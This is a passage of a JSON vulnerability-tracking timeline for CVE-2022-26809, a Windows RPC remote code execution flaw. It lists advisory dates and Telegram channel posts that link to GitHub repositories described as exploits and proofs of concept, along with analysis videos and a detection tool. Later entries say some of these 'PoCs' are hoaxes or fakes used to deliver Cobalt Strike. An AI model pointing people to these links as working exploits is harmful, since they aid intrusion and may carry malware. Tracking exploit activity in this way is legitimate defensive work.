"milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2022-26809", "record": "FKIE_CVE-2022-26809", "field": "published"}, {"timestamp": "2022-04-15T21:04:08Z", "date_only": false, "value": "2022-04-15T21:04:08.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/xakep_ru/12241", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "603eaf0d-735d-412f-8cad-e3400401ed02", "content": "\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0442 \u043e\u0431 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0431\u0430\u0433\u0430 \u0432 Microsoft RPC\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0431\u0435\u0441\u043f\u043e\u043a\u043e\u0435\u043d\u044b \u0438\u0437-\u0437\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2022-26809, \u043a\u043e\u0442\u043e\u0440\u0443\u044e Microsoft \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0432 Windows RPC. \u0414\u0435\u043b\u043e \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043f\u043e\u0441\u043b\u0435 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0438 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430 \u0434\u043b\u044f \u044d\u0442\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b, \u043e\u043d\u0430 \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u0448\u0438\u0440\u043e\u043a\u043e\u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u044b\u0445 \u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0430\u0442\u0430\u043a.\n\nhttps://xakep.ru/2022/04/15/cve-2022-26809/", "url": "https://t.me/xakep_ru/12241"}, {"timestamp": "2022-04-16T00:00:32Z", "date_only": false, "value": "2022-04-16T00:00:32Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-Q2WC-9MX8-XR8J", "record": "GHSA-Q2WC-9MX8-XR8J", "field": "published"}, {"timestamp": "2022-04-16T00:00:32Z", "date_only": false, "value": "2022-04-16T00:00:32Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-Q2WC-9MX8-XR8J", "record": "GHSA-Q2WC-9MX8-XR8J", "field": "modified"}, {"timestamp": "2022-04-17T08:35:15Z", "date_only": false, "value": "2022-04-17T08:35:15.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/BlueRedTeam/1947", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "ed51ac11-cdb8-4f50-9ed9-b7e6db244c3c", "content": "#exploit\n\n+ CVE-2022-26809:\nWeakness in a core Windows 7/10/Server2019/2022 component (RPC)\nhttps://github.com/XmasSnow/CVE-2022-26809-RCE\n\n+ CVE-2022-29072:\n7-Zip <21.07 on Windows allows privilege escalation and command execution when a file with the .7z extension is dragged to the Help>Contents area (0-day)\nhttps://github.com/kagancapar/CVE-2022-29072\n\n@BlueRedTeam", "url": "https://t.me/BlueRedTeam/1947"}, {"timestamp": "2022-04-17T13:42:19Z", "date_only": false, "value": "2022-04-17T13:42:19.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberSecurityTechnologies/5824", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "3eed6be5-ee07-48ff-8137-4e45a7f33426", "content": "#exploit\n1. CVE-2022-26809:\nWeakness in a core Windows 7/10/Server2019/2022 component (RPC)\nhttps://github.com/XmasSnow/CVE-2022-26809-RCE\n\n2. CVE-2022-29072:\n7-Zip <21.07 on Windows allows privilege escalation and command execution when a file with the .7z extension is dragged to the Help>Contents area (0-day)\nhttps://github.com/kagancapar/CVE-2022-29072", "url": "https://t.me/CyberSecurityTechnologies/5824"}, {"timestamp": "2022-04-17T23:43:01Z", "date_only": false, "value": "2022-04-17T23:43:01.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/FEOCBftSnkFuxRK3Re7iTerfuaBPsbX8fZGvKKREHM94725-", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "beb15c87-cd84-4c2f-8e48-203a57a02d76"}, {"timestamp": "2022-04-18T03:34:42Z", "date_only": false, "value": "2022-04-18T03:34:42.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1972", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "cb51a547-d4ff-4a99-a637-d6410f67d1a5", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aThe poc for CVE-2022-26809 RCE via RPC will be updated here. \nURL\uff1ahttps://github.com/sherlocksecurity/Microsoft-CVE-2022-26809-The-Little-Boy\n\n\u6807\u7b7e\uff1a#CVE-2022", "url": "https://t.me/GithubRedTeam/1972"}, {"timestamp": "2022-04-18T03:53:27Z", "date_only": false, "value": "2022-04-18T03:53:27.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1973", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "8cda0bbe-82da-473c-882a-946bae2529d5", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aA proof of concept of the CVE-2022-26809-RCE vulnerability.\nURL\uff1ahttps://github.com/F1uk369/CVE-2022-26809\n\n\u6807\u7b7e\uff1a#CVE-2022", "url": "https://t.me/GithubRedTeam/1973"}, {"timestamp": "2022-04-19T00:00:00Z", "date_only": true, "value": "2022-04-19", "kind": "other", "label": "Open Time", "source": "cnvd \u00b7 CNVD-2022-30674", "record": "CNVD-2022-30674", "field": "openTime"}, {"timestamp": "2022-04-19T02:40:05Z", "date_only": false, "value": "2022-04-19T02:40:05.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CNArsenal/45", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "b0970815-ff66-406b-95b5-13bd18da5c82", "content": "https://github.com/HellKnightsCrew/CVE-2022-26809", "url": "https://t.me/CNArsenal/45"}, {"timestamp": "2022-04-19T07:00:00Z", "date_only": false, "value": "2022-04-19T07:00:00.000Z", "kind": "other", "label": "Advisory revision", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-26809", "record": "MSRC_CVE-2022-26809", "field": "document.tracking.revision_history.1.date"}, {"timestamp": "2022-04-19T07:00:00Z", "date_only": false, "value": "2022-04-19T07:00:00.000Z", "kind": "other", "label": "Updated", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-26809", "record": "MSRC_CVE-2022-26809", "field": "document.tracking.current_release_date"}, {"timestamp": "2022-04-19T09:40:28Z", "date_only": false, "value": "2022-04-19T09:40:28.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1982", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "c4be20df-75fd-45a8-9a15-b770a9203813", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aCVE-2022-26809 exploit\nURL\uff1ahttps://github.com/BugHunter010/CVE-2022-26809\n\n\u6807\u7b7e\uff1a#CVE-2022", "url": "https://t.me/GithubRedTeam/1982"}, {"timestamp": "2022-04-19T18:45:00Z", "date_only": false, "value": "2022-04-19T18:45:00.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/reverse_dungeon/1688", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "efdd6bf7-4ebb-446a-8fcc-f2b31e701723", "content": "CVE-2022-26809 MS-RPC Vulnerability Analysis - SANS Institute\nhttps://www.youtube.com/watch?v=fQ06VUq3kd8\n\nExploiting Windows RPC - CVE-2022-26809 Explained | Patch Analysis\nhttps://www.youtube.com/watch?v=GGlwy3_jVYE&t=2s", "url": "https://t.me/reverse_dungeon/1688"}, {"timestamp": "2022-04-20T00:43:49Z", "date_only": false, "value": "2022-04-20T00:43:49.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/dc7342/51089", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "86d3fa02-73b6-4f59-a7b3-b4c58339005c", "content": "CVE-2022-26809 MS-RPC Vulnerability Analysis - SANS Institute\nhttps://www.youtube.com/watch?v=fQ06VUq3kd8\n\nExploiting Windows RPC - CVE-2022-26809 Explained | Patch Analysis\nhttps://www.youtube.com/watch?v=GGlwy3_jVYE&t=2s", "url": "https://t.me/dc7342/51089"}, {"timestamp": "2022-04-20T03:28:18Z", "date_only": false, "value": "2022-04-20T03:28:18.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/Q9kBH2YEOkZxkL-oU6J6pvm6XIzvotmci13eXCVky8pcGctI", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "969e84cb-416d-40e6-ae5a-08ab3a0cb1de"}, {"timestamp": "2022-04-20T21:02:35Z", "date_only": false, "value": "2022-04-20T21:02:35.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1992", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "80618d47-609d-46b7-bc3b-4cbd24258577", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aThis repository contains a PoC for  remote code execution CVE-2022-26809\nURL\uff1ahttps://github.com/DESC0N0C1D0/CVE-2022-26809-RCE\n\n\u6807\u7b7e\uff1a#CVE-2022", "url": "https://t.me/GithubRedTeam/1992"}, {"timestamp": "2022-04-21T08:45:02Z", "date_only": false, "value": "2022-04-21T08:45:02.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/BlueRedTeam/1968", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "e0240898-91e9-4b2e-ab0b-baa3a89d97b2", "content": "#CVE-2022\n\nThis repository contains a PoC for  remote code execution CVE-2022-26809\n\nhttps://github.com/DESC0N0C1D0/CVE-2022-26809-RCE\n\n@BlueRedTeam", "url": "https://t.me/BlueRedTeam/1968"}, {"timestamp": "2022-04-21T09:18:22Z", "date_only": false, "value": "2022-04-21T09:18:22.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CNArsenal/60", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "811a0364-b636-406c-9c86-fbba7f4c83aa", "content": "https://github.com/DESC0N0C1D0/CVE-2022-26809-RCE", "url": "https://t.me/CNArsenal/60"}, {"timestamp": "2022-04-21T09:56:53Z", "date_only": false, "value": "2022-04-21T09:56:53.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/ogqsgv2CO216AvReimRPoXqKXCk681V6FOfeEwiUElM-h7Y", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "dad68b35-69c9-4460-9786-60688ab29e39"}, {"timestamp": "2022-04-22T17:02:21Z", "date_only": false, "value": "2022-04-22T17:02:21.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/poxek/1368", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "b039ca52-8d48-4266-8718-642a3d5ea5c6", "content": "CVE-2022-26809\nvuln scaner and exploit\n\u041c\u044b Hell Knights Crew \u0440\u0435\u0448\u0438\u043b\u0438 \u0432\u0435\u0440\u043d\u0443\u0442\u044c\u0441\u044f \u043d\u0430 \u0430\u0440\u0435\u043d\u0443 \u0432 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0441\u043e\u0431\u044b\u0442\u0438\u044f\u043c\u0438 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0438\u043c\u0438 \u043c\u0438\u0440\u0435. \u0412 \u0447\u0435\u0441\u0442\u044c \u044d\u0442\u043e\u0433\u043e \u0432\u044b\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u043d\u0430\u043c\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u043f\u043e\u0434 SMB \u0412 \u043a\u043e\u043c\u043f\u043b\u0435\u043a\u0442\u0435 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0447\u0435\u043a\u0435\u0440 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0441\u0430\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442.\n\u0427\u0435\u043a\u0435\u0440 \u043d\u0430\u043f\u0438\u0441\u0430\u043d \u043b\u0438\u0447\u043d\u043e \u043d\u0430\u043c\u0438. \u0421\u0430\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0431\u044b\u043b \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u043d\u0430\u0448\u0438\u043c \u0441\u0442\u0430\u0440\u044b\u043c \u0434\u0440\u0443\u0433\u043e\u043c \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u043d \u0435\u0449\u0435 \u0434\u0432\u0443\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u043c .\n\nhttps://github.com/HellKnightsCrew/CVE-2022-26809\n\n\u0414\u043d\u0435\u0432\u043d\u0438\u043a \u0411\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u0438\u043a\u0430 \ud83d\udee1", "url": "https://t.me/poxek/1368"}, {"timestamp": "2022-04-25T19:00:32Z", "date_only": false, "value": "2022-04-25T19:00:32.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/2042", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "76fa4942-7250-429b-a228-f222acada9a9", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aCVE-2022-26809 is a vulnerability in Remote Procedure Call Runtime\nURL\uff1ahttps://github.com/XmasSnowREAL/CVE-2022-26809-RCE\n\n\u6807\u7b7e\uff1a#CVE-2022", "url": "https://t.me/GithubRedTeam/2042"}, {"timestamp": "2022-04-26T14:00:24Z", "date_only": false, "value": "2022-04-26T14:00:24.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/9YodqGzYt7fMfPCSrfrC5uGZWj9rcCmN39sFiHxIbTU53Ss", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "f6992468-4ec7-4ae2-9a27-aec3758a05d5"}, {"timestamp": "2022-04-27T09:01:47Z", "date_only": false, "value": "2022-04-27T09:01:47.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/poxek/1404", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "6f49f57e-dbc7-40b5-8269-b24214a1492a", "content": "CVE-2022-26809\n\u042d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u043f\u043e\u0434 SMB \u0412 \u043a\u043e\u043c\u043f\u043b\u0435\u043a\u0442\u0435 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0447\u0435\u043a\u0435\u0440 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0441\u0430\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442.\nhttps://github.com/HellKnightsCrew/CVE-2022-26809\n\n\u0414\u043d\u0435\u0432\u043d\u0438\u043a \u0411\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u0438\u043a\u0430 \ud83d\udee1", "url": "https://t.me/poxek/1404"}, {"timestamp": "2022-04-28T12:43:29Z", "date_only": false, "value": "2022-04-28T12:43:29.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/LUaQa4xON7mKwimEDqe1X1noIuOQUe7lwi24BvTXfcBBsCY", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "c55dd13a-ca08-4273-bea9-5bd781a5fad5"}, {"timestamp": "2022-04-30T15:55:45Z", "date_only": false, "value": "2022-04-30T15:55:45.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/2069", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "7780dba6-ed5c-4082-8fed-8a66e9ecb239", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aThis repository contains a PoC for remote code execution CVE-2022-26809\nURL\uff1ahttps://github.com/ZyxelTeam/CVE-2022-26809-RCE\n\n\u6807\u7b7e\uff1a#CVE-2022", "url": "https://t.me/GithubRedTeam/2069"}, {"timestamp": "2022-05-04T00:00:00Z", "date_only": false, "value": "2022-05-04T00:00:00", "kind": "other", "label": "Last revision date", "source": "certfr_alerte \u00b7 CERTFR-2022-ALE-003", "record": "CERTFR-2022-ALE-003", "field": "last_revision_date"}, {"timestamp": "2022-05-04T00:00:00Z", "date_only": false, "value": "2022-05-04T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_alerte \u00b7 CERTFR-2022-ALE-003", "record": "CERTFR-2022-ALE-003", "field": "revisions.2.revision_date"}, {"timestamp": "2022-05-08T15:04:34Z", "date_only": false, "value": "2022-05-08T15:04:34.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/2114", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "7189ba2e-b643-4f1e-8ef8-ae5cc4c5bed6", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aCVE-2022-26809   |  is a  remote code execution vulnerablity in rpc runtime and affects a wide versions of windows \nURL\uff1ahttps://github.com/seciurdt/CVE-2022-26809-POC\n\n\u6807\u7b7e\uff1a#CVE-2022", "url": "https://t.me/GithubRedTeam/2114"}, {"timestamp": "2022-05-09T17:04:31Z", "date_only": false, "value": "2022-05-09T17:04:31.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/2139", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "bfb2c0ee-1aa8-4870-b953-99f87a47c568", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aCVE-2022-26809 is a vulnerability in Remote Procedure Call Runtime \nURL\uff1ahttps://github.com/ExploitPwner/CVE-2022-26809-RCE-POC\n\n\u6807\u7b7e\uff1a#CVE-2022", "url": "https://t.me/GithubRedTeam/2139"}, {"timestamp": "2022-05-11T20:45:27Z", "date_only": false, "value": "2022-05-11T20:45:27.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/2165", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "78935f2c-88c1-48b1-ad3e-6ba158ffaf87", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aCVE-2022-26809   |  is a remote code execution vulnerablity in rpc runtime and affects a wide versions of windows \nURL\uff1ahttps://github.com/seciurdt/CVE-2022-26809-RCE\n\n\u6807\u7b7e\uff1a#CVE-2022", "url": "https://t.me/GithubRedTeam/2165"}, {"timestamp": "2022-05-11T22:00:00Z", "date_only": false, "value": "2022-05-11T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2023-0838", "record": "WID-SEC-W-2023-0838", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2022-05-11T22:00:00Z", "date_only": false, "value": "2022-05-11T22:00:00.000+00:00", "kind": "milestone", "label": "Published", "source": "csaf_certbund \u00b7 WID-SEC-W-2023-0838", "record": "WID-SEC-W-2023-0838", "field": "document.tracking.initial_release_date"}, {"timestamp": "2022-05-11T22:00:00Z", "date_only": false, "value": "2022-05-11T22:00:00.000+00:00", "kind": "other", "label": "Release date", "source": "csaf_certbund \u00b7 WID-SEC-W-2023-0838", "record": "WID-SEC-W-2023-0838", "field": "vulnerabilities.0.release_date"}, {"timestamp": "2022-05-12T07:50:02Z", "date_only": false, "value": "2022-05-12T07:50:02.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/2168", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "23441e84-9055-41c1-afe9-bbdc4a05f6d0", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aCVE-2022-26809 exp\nURL\uff1ahttps://github.com/Calvitz/CVE-2022-26809\n\n\u6807\u7b7e\uff1a#CVE-2022", "url": "https://t.me/GithubRedTeam/2168"}, {"timestamp": "2022-05-14T12:31:02Z", "date_only": false, "value": "2022-05-14T12:31:02.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberSecurityTechnologies/5877", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "9eb2f60c-eff8-457e-a90a-31366b153409", "content": "#reversing\n#Threat_Research\nReversing an RPC Vulnerability -\nCVE-2022-26809 Explained\nhttps://www.malwaretech.com/2022/04/video-exploiting-windows-rpc-cve-2022-26809-explained-patch-analysis.html", "url": "https://t.me/CyberSecurityTechnologies/5877"}, {"timestamp": "2022-05-17T15:25:06Z", "date_only": false, "value": "2022-05-17T15:25:06.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/2217", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "0d0368ca-50f1-4589-ae71-1eb482b254cd", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aDetects attempts and successful exploitation of CVE-2022-26809\nURL\uff1ahttps://github.com/corelight/cve-2022-26809\n\n\u6807\u7b7e\uff1a#CVE-2022", "url": "https://t.me/GithubRedTeam/2217"}, {"timestamp": "2022-05-17T17:41:33Z", "date_only": false, "value": "2022-05-17T17:41:33.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/BlueRedTeam/2081", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "4db63f04-c891-4a11-b81e-91fe8fa370e8", "content": "#CVE-2022\n\nDetects attempts and successful exploitation of CVE-2022-26809\n\nhttps://github.com/corelight/cve-2022-26809\n\n@BlueRedTeam", "url": "https://t.me/BlueRedTeam/2081"}, {"timestamp": "2022-05-19T03:40:41Z", "date_only": false, "value": "2022-05-19T03:40:41.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/2228", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "196cbe23-1f86-46bd-87ec-2ff7bc54399c", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aCVE-2022-26809 RCE Exploit\nURL\uff1ahttps://github.com/rkxxz/CVE-2022-26809\n\n\u6807\u7b7e\uff1a#CVE-2022", "url": "https://t.me/GithubRedTeam/2228"}, {"timestamp": "2022-05-19T06:21:17Z", "date_only": false, "value": "2022-05-19T06:21:17.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/EJM7w_XdOJx_4ye5gLtGCmRucv1vmIgtjLocmD7nEHDGQA", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "c9e3d7a6-65d9-4137-982e-370220810186"}, {"timestamp": "2022-05-20T14:09:37Z", "date_only": false, "value": "2022-05-20T14:09:37.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/crackcodes/560", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "ae37281b-0c59-415a-9634-675e52c704c1", "content": "\u200bCVE-2022-26809 RCE Exploit\n\nWeakness in a core Windows component (RPC) earned a CVSS score of 9.8 not without a reason, as the attack does not require authentication and can be executed remotely over a network, and can result in remote code execution (RCE) with the privileges of the RPC service, which depends on the process hosting the RPC runtime. \n\nThat critcal bug, with a bit of luck, allows to gain access to unpatched Windows host running SMB. The vulnerability can be exploited both from outside the network in order to breach it as well as between machines in the network.\n\nhttps://github.com/rkxxz/CVE-2022-26809\n\nVendor Information:\nhttps://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26809\nhttps://www.pwndefend.com/2022/04/14/cve-2022-26809/\n\n#cve #poc #exploit", "url": "https://t.me/crackcodes/560"}, {"timestamp": "2022-05-20T14:20:51Z", "date_only": false, "value": "2022-05-20T14:20:51.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/rgCACBqCq3yrgYu1tSjvW6F61CLUl9rwyIWqydDPRYg6Mg", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "07ed0011-b813-4fd9-8b71-df8483fb9db7"}, {"timestamp": "2022-05-20T14:34:00Z", "date_only": false, "value": "2022-05-20T14:34:00.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/2246", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "6715dccc-23ab-48c8-838d-270765de2cdd", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aCVE-2022-26809 is a vulnerability in Remote Procedure Call Runtime \nURL\uff1ahttps://github.com/XmasSnowISBACK/CVE-2022-26809\n\n\u6807\u7b7e\uff1a#CVE-2022", "url": "https://t.me/GithubRedTeam/2246"}, {"timestamp": "2022-05-20T15:22:18Z", "date_only": false, "value": "2022-05-20T15:22:18.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/2248", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "34194e9d-dfd6-49f2-8241-ccc33a1e64ae", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aCVE-2022-26809 | is a remote code execution vulnerablity in rpc runtime and affects a wide versions of windows\nURL\uff1ahttps://github.com/seciurdt/CVE-2022-26809-MASS\n\n\u6807\u7b7e\uff1a#CVE-2022", "url": "https://t.me/GithubRedTeam/2248"}, {"timestamp": "2022-05-20T17:31:41Z", "date_only": false, "value": "2022-05-20T17:31:41.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/vxunderground/810", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "ee796cd4-8333-45fa-bcb1-b379eb4f338a", "content": "You may not like it, but this is what a real 0day looks like. \ud83d\ude02\n\n*Hoax CVE-2022-26809 proof-of-concept published by \"rkxxz\", image courtesy of Podalirius_", "url": "https://t.me/vxunderground/810"}, {"timestamp": "2022-05-23T13:28:32Z", "date_only": false, "value": "2022-05-23T13:28:32.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/true_secator/2968", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "deef3e39-92c7-47ce-a86a-c9ce1c2fd7dc", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Cyble \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u0443\u044e \u043d\u0430 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u0435\u043b\u0435\u0439 Infosec-\u0441\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u0430, \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u043c PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 Cobalt Strike.\n\n\u0412\u0441\u0435 \u043d\u0430\u0447\u0430\u043b\u043e\u0441\u044c \u0441 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u0432 Twitter, \u0430\u0432\u0442\u043e\u0440 